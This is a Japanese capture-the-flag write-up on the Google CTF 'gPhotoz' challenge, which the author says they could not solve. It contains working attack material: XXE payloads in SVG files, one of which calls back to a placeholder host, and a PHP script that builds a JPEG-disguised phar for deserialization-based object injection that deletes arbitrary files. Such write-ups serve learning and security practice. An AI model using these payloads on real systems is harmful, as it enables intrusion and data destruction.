Google CTF gPhotoz 解けなかったwriteup

題名の通り解けませんでした。
いい感じの所までは進めたので進捗を共有します。誰か答えを教えてほしい(solve 1)

writeup

?action=srcのリンクが隠されており、アクセスするとphpソースコードが手に入る。 全体のコードは割愛するが、単純な画像アップローダである。 mimeでファイルタイプを判定しており、画像のみアップロード可能。

    function __construct($path) {
        $formats = [
            "image/gif" => "gif",
            "image/png" => "png",
            "image/jpeg" => "jpg",
            "image/svg+xml" => "svg",
            // Uncomment when launching gVideoz
            //"video/mp4" => "mp4",
        ];

        $mime_type = mime_content_type($path);

アップロード後画像は圧縮され、生成されたサムネイルと元ファイルのリンクを返す。

exec(escapeshellcmd('convert '.workdir()."/{$this->name}".' -resize 128x128'.workdir()."/{$this->name}_small.jpg"), $out, $ret); 

圧縮に失敗すると__destruct()が走る。

    function __destruct() {
        if ($this->failed) {
            shell_exec(escapeshellcmd('rm '.workdir()."/{$this->name}"));
        }

__ destruct()はphar stream wrapperによってunserializeが走った際に呼ばれる特性があり、オブジェクトコードインジェクションによってメンバを書き換えて呼び出せる。(好きなメンバで__destruct()を呼べるが、現在処理中のオブジェクトに影響はない)。phar stream wrapperを経由して画像ファイルに偽装したpharを呼び出せば、任意の引数でrmを呼び出せる。 さて、phar://のurlをつけてファイルを呼び出させる必要があるがurlによってファイルの読み出しを行うスクリプトはないため工夫する必要がある。 そこでmime_typeに注目すると、svgxmlで読み込むことを許可しているため好きなxmlを読ませられることに気づく。 試しに次のようなxmlを送るとコネクションが帰ってくる。

<?xml version="1.0"?>
<!DOCTYPE xml [
<!ENTITY % xxe SYSTEM "http://myip/">
%xxe;
]>

<svg width="100px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" >
<text x="150" y="150" font-size="10">a</text>
</svg>

そこで、次のようにする。

<?xml version="1.0"?>
<!DOCTYPE xml [
<!ENTITY % xxe SYSTEM "phar:///var/www/html/upload/xxxx/xxx.jpg">
%xxe;
]>

<svg width="100px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" >
<text x="150" y="150" font-size="10">a</text>
</svg>

これにより、pharストリームラッパーでファイルを読み込むことが出来る。 あとは、jpgに偽装したpharを上げればよい。 次のようなスクリプトmime typeがjpegのpharを作る。

<?php
@unlink("phar.phar");
$jpeg_header_size =
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";
require("./baseclass.php");#本家ソースコードの定義部分を持ってきてメンバを書き換えたもの。
$phar = new Phar("./phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub("$jpeg_header_size <?php __HALT_COMPILER(); ");
$object = new PhotoUpload("");
$phar->setMetadata($object);
$phar->stopBuffering();
?>

これをアップロードし、先程のxmlのENTRYを適切に操作したものをアップすればrmの引数を変更できるが、escapeshellcmdによってエスケープされるため、他のコマンドにつなげることができない。ただapacheパーミッションで好きなファイルを消せるだけであるが、何もない。お手上げである。 そもそもフラグがどこにあるのかもよくわからない。。。

 誰か解いてくれ